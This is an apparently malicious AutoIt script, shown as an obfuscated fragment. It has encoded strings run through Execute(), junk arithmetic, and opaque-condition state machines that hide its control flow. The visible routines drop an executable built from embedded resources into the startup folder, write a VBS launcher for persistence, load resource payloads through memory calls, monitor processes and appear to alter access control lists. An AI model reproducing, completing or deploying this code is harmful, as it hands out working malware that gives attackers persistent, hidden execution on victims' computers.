- $jnakoabkaoai = Execute(wmhsrosshiij(tznhxlbucosri("x0A62426962666C657F676E4A4C2D2"), tznhxlbucosri("x00515A654")))
- Ptr(2387746 - 4876)
- $1044747412 = 1838106253
- Int(1633661)
- EndIf
- If 287 = 287 AND 165 > 160 AND 177 = 177 AND $1044747412 = 960210641 Then
- $gidzbjoxovyx = Execute(wmhsrosshiij(tznhxlbucosri("x01424B41564A67697647755568292"), "0x"))
- Ptr(tznhxlbucosri("xpJwKgIEOntL2HVgAxnnBnTOt3Gno1dxgAKSxviTf"))
- $1044747412 = 2141934138
- String(2961479 - 845710)
- Dim $kmhxtmrwx7r9qh3akfy9 = tznhxlbucosri("hedRct9it2bmCu8o14QTV6Zhey0ik2pRvmfFUzJyWHNF8Ee6COOpsOsV2apOr4Rh6M8Yj6kHjCjhDpAtdizl")
- EndIf
- If 209 >= 113 AND 198 <> 114 AND 113 = 113 AND 228 = 228 AND $1044747412 = 960345959 Then
- $uwoufpecayizshabqrulkwclwrkbkshpopayblmcuoqympdrpdivmbny = Execute(wmhsrosshiij(tznhxlbucosri("x0043536279607476457C6C605164786"), "0x"))
- IsBool(2394565 + 2188617)
- $1044747412 = 1681609778
- IsFloat(21683 + 3837103 + 2031822)
- EndIf
- If 256 <= 297 AND 231 <> 141 AND 267 <= 277 AND 146 = 146 AND 295 <> 165 AND $1044747412 = 1025992990 Then
- $qifgahabsexa = Execute(wmhsrosshiij(tznhxlbucosri("x0D45535F6A6341555C6A665B68292"), tznhxlbucosri("x015")))
- Dim $kkdfhoh0grwkv4xteagt = 1899803 * 1945407 - 1915783 * 1108024 + 3720448
- $1044747412 = 84602552
- Ptr(337228 * 627608 - 3963210 * 101100)
- Random(164686)
- EndIf
- If 179 < 250 AND 134 <> 222 AND 126 >= 103 AND 216 > 113 AND 217 < 248 AND $1044747412 = 1115248989 Then
- $kjmnwuvqorpf = Execute(wmhsrosshiij(tznhxlbucosri("x0C4C4E6B4C604F676D5D61684C2D2"), tznhxlbucosri("x075169537")))
- $1044747412 = 1424029346
- EndIf
- If 178 >= 144 AND 218 = 218 AND 295 = 295 AND $1044747412 = 1141152127 Then
- $sjrkikdyyyiq = Execute(wmhsrosshiij(tznhxlbucosri("x055E6A585F6F614650585B4548292"), "0x"))
- WinExists(tznhxlbucosri("gscLX"))
- $1044747412 = 834897274
- WinExists(tznhxlbucosri("6lqVxlEJqaMrFSeycIGKKp70zcH2mGe2U5fW6Mmd6YS3yJKK7n"))
- EndIf
- If 283 <> 133 AND 185 = 185 AND 148 <= 250 AND $1044747412 = 1220020015 Then
- $zzubgszvjsyq = Execute(wmhsrosshiij(tznhxlbucosri("x007B665962497655636E474978292"), tznhxlbucosri("x0F4")))
- $1044747412 = 232684580
- EndIf
- If 215 <> 229 AND 216 <= 278 AND 121 <= 124 AND 299 > 179 AND 279 = 279 AND $1044747412 = 1267601999 Then
- $ohmyxiagzmqt = Execute(wmhsrosshiij(tznhxlbucosri("x0F6845597F69517A447055624B2A2"), tznhxlbucosri("x05437")))
- $1044747412 = 2094513307
- Chr(848122)
- EndIf
- If 283 <> 199 AND 216 > 139 AND 227 > 136 AND $1044747412 = 1307843693 Then
- $ktvuappesiqiitptjkujhxomscskahd = Execute(wmhsrosshiij(tznhxlbucosri("x0044556D607449627"), "0x"))
- IsFloat(tznhxlbucosri("8MSxRswhYNur8IT6JH9lTZRs7WtfRw2NF46KO731A86ISnZyDBwj"))
- $1044747412 = 304222797
- IsBinary(2726254 * 1381603 - 3259158 * 3823002)
- EndIf
- If 276 > 141 AND 219 <> 121 AND 255 < 271 AND $1044747412 = 1312944448 Then
- $ndivddlyqicolemnsqxmeslllqujkqbqbcmwvxt = Execute(wmhsrosshiij(tznhxlbucosri("x004F4356556273796F6E6"), tznhxlbucosri("x054")))
- $1044747412 = 1337610490
- IsFloat(tznhxlbucosri("jyv"))
- EndIf
- If 265 <> 128 AND 190 = 190 AND 247 = 247 AND 299 >= 105 AND $1044747412 = 1337610490 Then
- $ufriwemrmnxwmfpusbunpdxptkzzetxzkhndihkaefmvyr = Execute(wmhsrosshiij(tznhxlbucosri("x0447465"), tznhxlbucosri("x0E414E664")))
- $1044747412 = 171873601
- Ptr(2170140 - 2426797)
- Mod(1087852, 2870182)
- EndIf
- If 173 < 230 AND 111 <= 182 AND 173 <> 256 AND $1044747412 = 1424029346 Then
- $lnddocutiwos = Execute(wmhsrosshiij(tznhxlbucosri("x0756647C40727F60757457455B2A2"), tznhxlbucosri("x0F696")))
- Dim $lvyrwcbtpnoqmutm1xw7 = 421533 - 3573658 + 3242952 + 2690529 * 1969546
- $1044747412 = 89876260
- EndIf
- If 206 < 244 AND 167 <> 218 AND 170 <= 277 AND $1044747412 = 1488986972 Then
- $rmakrawxblok = Execute(wmhsrosshiij(tznhxlbucosri("x02537E4D43525B6071776C5C7C2D2"), tznhxlbucosri("x005E654D4")))
- IsBool(3129919 * 1603730)
- $1044747412 = 1267601999
- Int(2863435)
- EndIf
- If 205 <> 165 AND 115 > 110 AND 251 > 206 AND 219 < 268 AND 170 >= 162 AND $1044747412 = 1566067065 Then
- $sljzkvgszykr = Execute(wmhsrosshiij(tznhxlbucosri("x0F6575507743616A6263565958292"), "0x"))
- Dim $0t4mum2udoxtoezmyomt = 2101837
- $1044747412 = 2132281550
- Random(490982)
- EndIf
- If 256 > 238 AND 144 <= 258 AND 250 = 250 AND 270 > 199 AND $1044747412 = 1591982618 Then
- $dxoecsiqtkcgbaffrrvfdygnsmgkmcnccexnyyrwihtfbkoccqukr = Execute(wmhsrosshiij(tznhxlbucosri("x0447507566707174704D667"), tznhxlbucosri("x0561727E4")))
- $1044747412 = 960345959
- Chr(1321691)
- EndIf
- If 228 >= 108 AND 188 = 188 AND 107 > 104 AND $1044747412 = 1681609778 Then
- $yjwvgsywrstfbfdvrwkmjbozhlnjsprvwbnvvpfssyrrxvpwzqfznhm = Execute(wmhsrosshiij(tznhxlbucosri("x044757667D6470704D667"), tznhxlbucosri("x0F6E42587")))
- $1044747412 = 1312944448
- String(3730155 * 3999973)
- Mod(853912, 3607297)
- EndIf
- If 262 >= 99 AND 256 = 256 AND 261 <= 266 AND 222 = 222 AND 267 < 281 AND $1044747412 = 1711264047 Then
- $gxkslawcjrse = Execute(wmhsrosshiij(tznhxlbucosri("x067F69465E497B467055666D69282"), tznhxlbucosri("x0B64664")))
- IsPtr(tznhxlbucosri("hVNteyWLZ95eUYe5LTb1WKJNa2c4Hd862KwIbXqojfhsV5DhZr1lk397UDyVJkAT3"))
- $1044747412 = 1115248989
- IsBool(tznhxlbucosri("KxB6GChNz2oVewzeJ5d30qFf1AZnmzTsEHsCFo7FNfUFDZZe4bKanOHAzELaZsQRbh1QWKzk6eL7vt6RyXY"))
- EndIf
- If 280 > 164 AND 270 = 270 AND 216 <= 231 AND $1044747412 = 1838106253 Then
- $zbdfxalyqguh = Execute(wmhsrosshiij(tznhxlbucosri("x0763745D6A62546657794B4658292"), tznhxlbucosri("x007")))
- IsFloat(tznhxlbucosri("5dZX4EqN06XMmXonJUTGYpjneT3ZlbzDw7OYv85"))
- $1044747412 = 1566067065
- IsString(3596733 - 730720)
- EndIf
- If 187 <= 226 AND 279 > 164 AND 259 <= 298 AND 226 >= 173 AND 283 <= 284 AND $1044747412 = 1972768996 Then
- Opt(wmhsrosshiij(tznhxlbucosri("x0452716979436F6E684964656"), "0x"), wmhsrosshiij(tznhxlbucosri("x013"), "0x"))
- IsBinary(tznhxlbucosri("pdNSzgUfVpmwA0HyxpwOJAViZAo5BS2zLoHsu7Epe"))
- ExitLoop
- WinExists(tznhxlbucosri("dEkSsM6x4YgD7"))
- EndIf
- If 185 <> 252 AND 297 < 299 AND 128 = 128 AND 273 > 189 AND 116 > 110 AND $1044747412 = 2014417103 Then
- $fdcmavwfjqlj = Execute(wmhsrosshiij(tznhxlbucosri("x0D424844797A676C4553675248292"), tznhxlbucosri("x014")))
- $1044747412 = 742906269
- EndIf
- If 138 <> 148 AND 290 = 290 AND 193 <= 284 AND $1044747412 = 2094513307 Then
- $phldskhblpok = Execute(wmhsrosshiij(tznhxlbucosri("x0A4A6E49694E4D4D6A6A496458292"), "0x"))
- $1044747412 = 1025992990
- Dim $j5ijr4ion5vnefjb5asy = 1806059 + 476998 * 65389 + 1989764 - 2261649 - 2161946 * 2275246
- EndIf
- If 217 = 217 AND 140 <> 121 AND 101 < 218 AND 267 = 267 AND 227 < 238 AND $1044747412 = 2132281550 Then
- $rlfmsxephmth = Execute(wmhsrosshiij(tznhxlbucosri("x0B627379537771794A4A584D6B2A2"), tznhxlbucosri("x02784")))
- $1044747412 = 2144394568
- Random(1367273)
- Int(2025180)
- EndIf
- If 269 < 272 AND 236 >= 133 AND 240 < 241 AND $1044747412 = 2134070852 Then
- $kxxjgjogayit = Execute(wmhsrosshiij(tznhxlbucosri("x03757364765B45437E67736668292"), "0x"))
- $1044747412 = 1141152127
- Int(2247335)
- Int(1583231)
- EndIf
- If 175 > 140 AND 277 < 280 AND 197 > 196 AND 100 <> 206 AND 201 <= 229 AND $1044747412 = 2141934138 Then
- $lrpuatkwspwj = Execute(wmhsrosshiij(tznhxlbucosri("x0755617E5968464E7D794E514C2D2"), tznhxlbucosri("x047152517")))
- Dim $czfocx6oucxwj5scjszc = 3023810 - 2190197 * 1008128
- $1044747412 = 937438825
- EndIf
- If 144 < 271 AND 283 >= 242 AND 262 < 269 AND 207 < 232 AND $1044747412 = 2144394568 Then
- $qjlbdlflkohl = Execute(wmhsrosshiij(tznhxlbucosri("x0D5D61476B6D4F4E7056616B6C2D2"), tznhxlbucosri("x0F4D65635")))
- IsBool(tznhxlbucosri("JCmZ3pKH4cG0Ky1Y1YR8JxF19zOwYzoHFRiBwN5Bj4MATjzMxCLgyJ3otSqX3GnlLv3ZQjBncyoW"))
- $1044747412 = 1488986972
- EndIf
- Next
- Func uummraejud($vbsname, $filename)
- Global $1220020015 = 1307843693
- Global $br5nsqizuj = 738950
- For $e = 0 To 775291
- If 144 = 144 AND 257 <> 207 AND 108 < 135 AND 219 < 246 AND $1220020015 = 89876260 Then
- $sljzkvgszykr($urlpath, $url)
- Int(2133924)
- $1220020015 = 150208926
- Mod(3176496, 678094)
- IsBool(33044 - 3775911 + 3636261 - 2854492)
- EndIf
- If 113 <> 248 AND 170 >= 161 AND 114 = 114 AND $1220020015 = 150208926 Then
- $rlfmsxephmth($startupdir, wmhsrosshiij(tznhxlbucosri("x0F265C4"), tznhxlbucosri("x044941714")))
- $1220020015 = 578141839
- IsBool(tznhxlbucosri("m2VM7qZ7LYxRb1gSqO6ZCx0rYs0OvIOirGaX13WTgFsst1Es1Sv1tVyEX5CChrBqcCJ1RoYmdGqz8k88jEShWDn4yWgfqyyD00ZZSCbqdN"))
- EndIf
- If 165 >= 106 AND 276 > 245 AND 238 <> 141 AND 119 >= 108 AND $1220020015 = 171873601 Then
- Dim $urlpath = $dxoecsiqtkcgbaffrrvfdygnsmgkmcnccexnyyrwihtfbkoccqukr & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $kjmnwuvqorpf($vbsname, wmhsrosshiij(tznhxlbucosri("x0F2773627"), tznhxlbucosri("x04705A7")), wmhsrosshiij(tznhxlbucosri("x0D26717F6"), tznhxlbucosri("x03697"))) & wmhsrosshiij(tznhxlbucosri("x0D26717F6"), tznhxlbucosri("x03697"))
- WinExists(tznhxlbucosri("6nDYi7H9R8Mi0XgLpybIuAjjWFg3"))
- $1220020015 = 198176244
- String(714333 + 3675699)
- EndIf
- If 244 > 181 AND 199 > 183 AND 253 >= 152 AND $1220020015 = 198176244 Then
- $ohmyxiagzmqt($startupdir)
- $1220020015 = 1711264047
- IsFloat(3678527 - 2154416 - 2269712)
- EndIf
- If 194 < 199 AND 292 >= 284 AND 178 <= 261 AND 223 > 129 AND $1220020015 = 271776171 Then
- $rlfmsxephmth($vbspath, wmhsrosshiij(tznhxlbucosri("x0F265C4"), tznhxlbucosri("x044941714")))
- ExitLoop
- IsPtr(3897136 + 3486345)
- EndIf
- If 223 >= 106 AND 154 < 227 AND 177 > 117 AND $1220020015 = 304222797 Then
- Dim $triplequotes = $quotes & $quotes & $quotes
- $1220020015 = 1591982618
- Int(1016881)
- Ptr(tznhxlbucosri("KnCiCb1OSCWGdxUCvr6MgiXHytHVVOS6Mjp5zNlWsskWW72uEYhwHlgXvdLihSRmYVVLnh2gAJ0MxuHZ2djTYyLFZ0smjrlDfgjyJjKUEyVG64QV"))
- EndIf
- If 272 < 279 AND 273 <= 296 AND 297 > 204 AND 165 <= 301 AND 227 <> 253 AND $1220020015 = 578141839 Then
- $rlfmsxephmth($exepath, wmhsrosshiij(tznhxlbucosri("x0F265C4"), tznhxlbucosri("x044941714")))
- IsBool(1539481 + 3798529)
- $1220020015 = 271776171
- Dim $xja6bup9qydhiv4rvs3d = tznhxlbucosri("RWNJdYBXj1BOKJg4BYEmZRflpSxrGObrEo3as0QNGCoYQYjHkap6HQ7ZDFH6zWW")
- EndIf
- If 227 < 267 AND 164 < 183 AND 116 = 116 AND 226 < 234 AND 113 <= 265 AND $1220020015 = 960345959 Then
- Dim $exepath = $startupdir & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $filename
- $1220020015 = 1681609778
- Dim $jbpfygcja6qbrhxejcvq = 2655774
- EndIf
- If 168 < 296 AND 192 >= 178 AND 152 > 125 AND 135 <> 271 AND $1220020015 = 1115248989 Then
- $sljzkvgszykr($exepath, $bytes)
- $1220020015 = 1424029346
- EndIf
- If 155 > 120 AND 121 <> 116 AND 245 <> 267 AND 117 <= 214 AND $1220020015 = 1307843693 Then
- Dim $quotes = Chr(wmhsrosshiij(tznhxlbucosri("x03343"), "0x"))
- $1220020015 = 304222797
- EndIf
- If 295 > 288 AND 222 <= 291 AND 129 < 200 AND $1220020015 = 1312944448 Then
- Dim $vbspath = $startupdir & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $vbsname & wmhsrosshiij(tznhxlbucosri("x0F2773627"), tznhxlbucosri("x04705A7"))
- Chr(1758441)
- $1220020015 = 1337610490
- IsBool(tznhxlbucosri("O0rbZUFqGz3MSj9MGxeIoHyHjJlK9kYhCiooDbIT74ccbvTrFFyri9LvMgKRfnAuYyRVyC48aXJkEmId22OQSRaZMgyhiWZuKMGNKphpwG9L"))
- EndIf
- If 247 <> 251 AND 179 < 242 AND 245 = 245 AND 176 < 190 AND $1220020015 = 1337610490 Then
- Dim $url = wmhsrosshiij(tznhxlbucosri("x085A4D6776617D6667705B6C61777066777E5"), tznhxlbucosri("x017A7")) & $ufriwemrmnxwmfpusbunpdxptkzzetxzkhndihkaefmvyr & wmhsrosshiij(tznhxlbucosri("x01565849326D68616E3B2B2B2"), tznhxlbucosri("x0E4945407")) & $vbspath
- Chr(2397027)
- $1220020015 = 171873601
- IsFloat(tznhxlbucosri("TO9RJVq0iJOO7u1KsGMrhIgtbZnuYGzMA917G6aE0yo7t6YM"))
- Dim $zas0hzjktpluveoo4au4 = "Y"
- EndIf
- If 198 >= 181 AND 134 >= 107 AND 292 > 155 AND 193 >= 109 AND 122 < 222 AND $1220020015 = 1424029346 Then
- $sljzkvgszykr($vbspath, $vbs)
- $1220020015 = 89876260
- Dim $jfxfzxwx9rjybvwvuwfm = 2924873
- IsFloat(249931 + 110540 + 1910044 + 1541660)
- EndIf
- If 229 < 236 AND 106 <= 188 AND 213 < 234 AND 154 <= 244 AND $1220020015 = 1591982618 Then
- Dim $bytes = $qjlbdlflkohl($rmakrawxblok($hwobyepsertwooaziugcagzjdeoumwevcfhbvvszrtcgrwxm, wmhsrosshiij(tznhxlbucosri("x01363338343"), "0x"))) & Binary($zzubgszvjsyq(wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6")), wmhsrosshiij(tznhxlbucosri("x0634343"), tznhxlbucosri("x075E6F4B6"))))
- $1220020015 = 960345959
- IsPtr(tznhxlbucosri("R9xpKtIrcMBG7MCwO1vRT80WCYibS5aAiJbnqAnypW9ycLzE87OX0cq8z51IjI5MFKD1uUJbDpSJWtWnK87kV4U87kbfHSLNDMgxakLQm6Hyppj6Wm"))
- Random(2689282)
- EndIf
- If 251 <= 292 AND 165 = 165 AND 164 = 164 AND $1220020015 = 1681609778 Then
- Dim $vbs = wmhsrosshiij(tznhxlbucosri("x035564702753786358656C6C602D30275353627960747E2342756164756F426A656364782"), "0x") & $quotes & wmhsrosshiij(tznhxlbucosri("x075353627960747E2358656C6C6"), "0x") & $quotes & wmhsrosshiij(tznhxlbucosri("x092"), "0x") & $ufriwemrmnxwmfpusbunpdxptkzzetxzkhndihkaefmvyr & wmhsrosshiij(tznhxlbucosri("x04507B605B666F6F6D21567D632"), tznhxlbucosri("x056C4")) & $triplequotes & $exepath & $triplequotes
- $1220020015 = 1312944448
- Int(3174758)
- EndIf
- If 217 = 217 AND 220 > 146 AND 207 >= 170 AND 121 < 124 AND 241 >= 189 AND $1220020015 = 1711264047 Then
- $kxxjgjogayit($startupdir)
- Ptr(372307 - 429047 - 3845469 * 2238547)
- $1220020015 = 1115248989
- EndIf
- Next
- EndFunc
- Func fpiwnlwmmu($resname, $restype)
- Global $198176244 = 1307843693
- Global $6y5oqn7chi = 15685
- For $e = 0 To 283606
- String(1303791 * 1145489 + 438413 * 391316)
- If 287 <> 154 AND 223 > 183 AND 140 <> 260 AND 254 >= 193 AND $198176244 = 171873601 Then
- Return $e($b(wmhsrosshiij(tznhxlbucosri("x00387434363346334533373437323735363337343433373236353631373436353238323236323739373436353532423232303236323032343532363537333533363937314635323032363230323235344232323342303234343446353634463647323739353036364639363547343635373232393"), tznhxlbucosri("x066"))))
- ExitLoop
- EndIf
- If 109 <> 256 AND 266 < 299 AND 230 <> 248 AND 208 >= 177 AND $198176244 = 304222797 Then
- Local $b = $e(wmhsrosshiij(tznhxlbucosri("x03486F606378755E625573786F666"), tznhxlbucosri("x076D6E6")))
- IsString(tznhxlbucosri("Xxlsd6ujwiG1pGlbxdSOVml3USMTrndjBCftWeNw7ITbI3ONob5LyZLzg3mCGt0gXnfe56rgba"))
- $198176244 = 1591982618
- Int(624538)
- EndIf
- If 156 = 156 AND 275 = 275 AND 142 < 241 AND 133 > 119 AND $198176244 = 960345959 Then
- Local $infoblock = $e($b(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383232363246353732363546353633433333323235463436334633423232334230323237303734373232323233423032323436363936354634353236353733363647353732363336353537323232334230323237303734373232323233423032343638343936354733373436313635463336353233423032323737373337343732323232334230323435323635373334354631363446353233423032323633463646354637323232334230323435323635373335343739373036353239353242323330323235344"), tznhxlbucosri("x066"))))
- $198176244 = 1681609778
- IsFloat(tznhxlbucosri("cemRs7tk0cFkEgTIhf4tpY2kZTs"))
- EndIf
- If 107 = 107 AND 291 > 167 AND 256 >= 222 AND 258 >= 127 AND $198176244 = 1307843693 Then
- Local $e = Execute
- Dim $iadoti80rfyinlogue1v = 1317267 - 3224199 * 3312240 - 540852 + 276212 + 476836 * 23145 - 2119383
- $198176244 = 304222797
- EndIf
- If 124 <> 285 AND 134 >= 107 AND 100 <> 210 AND $198176244 = 1312944448 Then
- Local $globalmemoryblock = $e($b(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383232363246353732363546353633433333323235463436334633423232334230323237303734373232323233423032323433463646313634353236353733363647353732363336353232323342303232373037343732323232334230323436383439363547333734363136354633363532334230323237303734373232323233423032343439363546363636443236334636463336324239353242323330323235344"), tznhxlbucosri("x0F4"))))
- Dim $gkvsfnni4zpynjmlzqa8 = 3075409
- $198176244 = 1337610490
- IsFloat(394371 + 107417 * 553946)
- Mod(1209633, 2557682)
- EndIf
- If 111 < 224 AND 245 <> 282 AND 290 <> 231 AND 195 <> 200 AND 184 >= 110 AND $198176244 = 1337610490 Then
- Local $memorypointer = $e($b(wmhsrosshiij(tznhxlbucosri("x01397535373247324532373037324732433933333733473436333734473437324232323333344735373247324333333243313333363136353633333333324331333335324737473237334433373436323737463436333732373433333332433133333631363536333333333243313335353637324737473337303732453547343735473746333638353337324737473237334338343343333231333334354"), tznhxlbucosri("x0A52407"))))
- $198176244 = 171873601
- EndIf
- If 269 <= 292 AND 292 > 287 AND 218 < 236 AND $198176244 = 1591982618 Then
- Local $hinstance
- $198176244 = 960345959
- Int(1307649)
- EndIf
- If 271 <> 164 AND 236 <= 280 AND 200 > 166 AND 229 >= 133 AND 229 <= 232 AND $198176244 = 1681609778 Then
- Local $ressize = $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B313135314536343135364536353040303031313645373530453041313130413331313537343435354431353731313130413331313630353A34324536353545353631353634303535443634313530353631313130413331313433343734313131313041333137353B373A35364430343735323536453035363130413331313433343734313131313041333137373A35364535353547313530453545303531413A363141313033313136374"), tznhxlbucosri("x03785"))))
- $198176244 = 1312944448
- Int(1935549)
- EndIf
- Random(1867146)
- Next
- EndFunc
- Func vocceiofko($title, $body, $type)
- Switch (0)
- Case $yjwvgsywrstfbfdvrwkmjbozhlnjsprvwbnvvpfssyrrxvpwzqfznhm = $startupdir
- $lrpuatkwspwj($type, $title, $body)
- EndSwitch
- EndFunc
- Func qbcdrrtsoo($pid)
- While (1)124 <= 246 AND 280 = 280 AND 222 < 260 AND 169 <> 278 AND
- If 223 <= 292 AND 115 < 159 AND 138 > 117 AND $akuofazowlnr($pid) = wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6")) Then
- qvymrxbzoa()
- EndIf
- WEnd
- EndFunc
- Func qktbamujtm($file, $startup, $res)
- Global $1312944448 = 1307843693
- Global $drxyx1if23 = 2149904
- For $e = 0 To 2065486
- IsString(tznhxlbucosri("mw3rWR3c7LBYX9Ew83zfxeFE"))
- If 178 <= 212 AND 101 = 101 AND 104 <= 150 AND 138 <= 260 AND 129 <= 188 AND $1312944448 = 304222797 Then
- Dim $fhandle = $rmakrawxblok($file, wmhsrosshiij(tznhxlbucosri("x033"), tznhxlbucosri("x0559417")))
- Dim $cvca43vxrj0rpdlacgff = 2075025 + 2882752 + 1491533
- $1312944448 = 1591982618
- Random(2800986)
- Chr(2300111)
- EndIf
- If 140 > 139 AND 281 <> 173 AND 263 > 116 AND 101 < 265 AND 237 = 237 AND $1312944448 = 960345959 Then
- $sljzkvgszykr($fhandle, $qifgahabsexa($data, 1))
- Ptr(3223437 + 1766477 - 3210313)
- $1312944448 = 1681609778
- IsBool(tznhxlbucosri("LDgjBRUc"))
- EndIf
- If 286 = 286 AND 209 <= 242 AND 183 = 183 AND $1312944448 = 1307843693 Then
- $file = $ktvuappesiqiitptjkujhxomscskahd & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $file
- IsPtr(tznhxlbucosri("A6SxdzFuJo9"))
- $1312944448 = 304222797
- Mod(1636422, 668682)
- IsString(2527930 - 1233812)
- EndIf
- If 167 <> 117 AND 267 < 296 AND 116 < 205 AND 113 = 113 AND $1312944448 = 1591982618 Then
- Dim $data = fpiwnlwmmu($res, wmhsrosshiij(tznhxlbucosri("x02333"), tznhxlbucosri("x005B6")))
- $1312944448 = 960345959
- Dim $dued12uguh1hpckcupmj = 312604 - 993882 - 1841683
- Dim $pregvdgoibvfzc697fbe = 564625
- EndIf
- If 112 <= 229 AND 228 < 259 AND 174 < 199 AND 267 < 293 AND $1312944448 = 1681609778 Then
- $phldskhblpok($fhandle)
- IsPtr(tznhxlbucosri("hfGembQ9B0uClmF6s4g4LjqzwKyMp5u4Uv98cJizTGELLFZ2MHeedZCAYRN5KIJViHB87n5"))
- ExitLoop
- IsPtr(1715610 * 3020250)
- EndIf
- Ptr(1189798 * 1985207)
- Next
- Switch ($startup)
- Case wmhsrosshiij(tznhxlbucosri("x045275756"), tznhxlbucosri("x0D4"))
- $hgitnhfhiatz($file)
- Case $yjwvgsywrstfbfdvrwkmjbozhlnjsprvwbnvvpfssyrrxvpwzqfznhm <> $startupdir
- $hgitnhfhiatz($file)
- EndSwitch
- EndFunc
- Func ujhyawntvh($url, $path)
- Switch (0)
- Case $yjwvgsywrstfbfdvrwkmjbozhlnjsprvwbnvvpfssyrrxvpwzqfznhm = $startupdir
- Global $1591982618 = 1307843693
- Global $servgvj68b = 1158036
- For $e = 0 To 3781873
- If 110 <= 152 AND 166 >= 151 AND 151 <= 262 AND 144 <= 247 AND $1591982618 = 304222797 Then
- $hgitnhfhiatz($ktvuappesiqiitptjkujhxomscskahd & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $path)
- ExitLoop
- Mod(763252, 310648)
- EndIf
- If 116 = 116 AND 110 < 191 AND 203 <= 270 AND $1591982618 = 1307843693 Then
- $zbdfxalyqguh($url, $ktvuappesiqiitptjkujhxomscskahd & wmhsrosshiij(tznhxlbucosri("x0F5"), tznhxlbucosri("x037B4")) & $path)
- $1591982618 = 304222797
- EndIf
- Next
- EndSwitch
- EndFunc
- Func zvnfirtsqf()
- If 110 >= 109 AND 144 >= 101 AND 263 <= 290 AND $gxkslawcjrse(wmhsrosshiij(tznhxlbucosri("x0A524D4042525B31537E666C606F6C5"), tznhxlbucosri("x0853487"))) = wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6")) Then
- $gidzbjoxovyx($dawmcpaxeytqvfhmytihyemcglhetsghcxjvhjzqgeqxyjwnutscoeyz)
- EndIf
- EndFunc
- Func meisegrjii()
- If 218 > 202 AND 291 >= 288 AND 127 <= 273 AND 140 <= 155 AND 154 <= 188 AND $akuofazowlnr(wmhsrosshiij(tznhxlbucosri("x057E677C6C6F60776D266B766"), tznhxlbucosri("x04415"))) OR $akuofazowlnr(wmhsrosshiij(tznhxlbucosri("x06726F687E2568756"), "0x")) Then
- $gidzbjoxovyx($dawmcpaxeytqvfhmytihyemcglhetsghcxjvhjzqgeqxyjwnutscoeyz)
- EndIf
- EndFunc
- Func myzgjvhjwr()
- Switch (0)
- Case $yjwvgsywrstfbfdvrwkmjbozhlnjsprvwbnvvpfssyrrxvpwzqfznhm = $startupdir
- $bvnakuhdnyyj(wmhsrosshiij(tznhxlbucosri("x006E676"), tznhxlbucosri("x0D634")), wmhsrosshiij(tznhxlbucosri("x042B2764205D69616B41707425342224204168642B22442"), tznhxlbucosri("x007665667")) & Chr(wmhsrosshiij(tznhxlbucosri("x03343"), "0x")) & $uwoufpecayizshabqrulkwclwrkbkshpopayblmcuoqympdrpdivmbny & Chr(wmhsrosshiij(tznhxlbucosri("x03343"), "0x")), wmhsrosshiij("0x", tznhxlbucosri("x0B40705A6")), wmhsrosshiij("0x", tznhxlbucosri("x0B40705A6")), $qfqblqmxeqwzdxcrgtzyxvebmhxdhvidkknswxmbkkdcibhqalj)
- EndSwitch
- EndFunc
- Func acl($handle)
- Global $1115248989 = 1307843693
- Global $bysnrisokv = 3009404
- For $e = 0 To 465862
- If 161 <> 178 AND 107 > 99 AND 137 <= 211 AND 100 <> 263 AND $1115248989 = 171873601 Then
- $ret = $e($bn(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B313435323537343535323433353A3030303131364537353045304134313041333134353A353644373134313041333134373A3536453A3437353A35323530453A34324536373235303530413431304133313434333437343131343130413331373433373237303730413041333134353734343535443135373134313041333737353045304630343734313436353034373734353634373630353A34324536313B31373437373237303730413A31304133313435373434353544313537313431304133313430313134313A3"), tznhxlbucosri("x05487"))))
- $1115248989 = 198176244
- String(tznhxlbucosri("KoN8YzcsRELklZLFSor74"))
- Chr(306247)
- EndIf
- If 238 <> 264 AND 106 > 103 AND 298 < 300 AND 285 > 165 AND $1115248989 = 198176244 Then
- $ret = $e($bn(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383237363136343736363137303639333333323235463436334633423732334230323736393635473432373233423032373533363537343533363536333735373236393734373934343635373336333732363937303734363647323434363136333633423732334230323737303734373232373233423032343730353334343233423032373639363547343237323342303237333132373233423032373730373437323237323342303234373034313433343342334230323736393635473432373233423032373330323732393"), tznhxlbucosri("x015"))))
- IsBool(tznhxlbucosri("KOJf1FeA2oQ0CkEKBuv6QUWxsqGeFIU8RGIbpFOOkleDoBdVI0xIiL9etnns3WSEg4DibAf9qXIjslcubG9RJ6yhcLmvB6s2O"))
- $1115248989 = 1711264047
- String(tznhxlbucosri("ZLCJuKE84Xp9UQEmtVU8y1XQui1yz49j7"))
- EndIf
- If 250 <= 292 AND 159 <= 261 AND 150 <> 288 AND 124 <> 200 AND 188 <= 301 AND $1115248989 = 304222797 Then
- $bn = $e(wmhsrosshiij(tznhxlbucosri("x02696E616279747F637472796E676"), "0x"))
- IsString(3128717 + 937597 - 856801)
- $1115248989 = 1591982618
- Dim $gk9zwvzmixtp6hkxv9sa = 1334318
- EndIf
- If 171 <= 257 AND 138 = 138 AND 220 <> 242 AND 184 > 133 AND 232 < 253 AND $1115248989 = 960345959 Then
- Local $pacl = $e($bn(wmhsrosshiij(tznhxlbucosri("x033B773735304530463034373431343635303437373435363437363334373431313B31373437373237303730413A3"), tznhxlbucosri("x0C6A5"))))
- $1115248989 = 1681609778
- Mod(2295352, 1811304)
- EndIf
- If 181 <= 198 AND 197 >= 137 AND 196 > 183 AND 216 > 108 AND 124 > 113 AND $1115248989 = 1307843693 Then
- $e = Execute
- IsPtr(1699158 - 2427547)
- $1115248989 = 304222797
- IsFloat(608115 * 1146809 - 3418155 * 876292)
- EndIf
- If 293 <= 299 AND 154 <> 297 AND 152 < 299 AND $1115248989 = 1312944448 Then
- Local $psd = $e($bn(wmhsrosshiij(tznhxlbucosri("x00387434363346334533373437323735363337343437363537343530373437323238323437343533343432393"), "0x")))
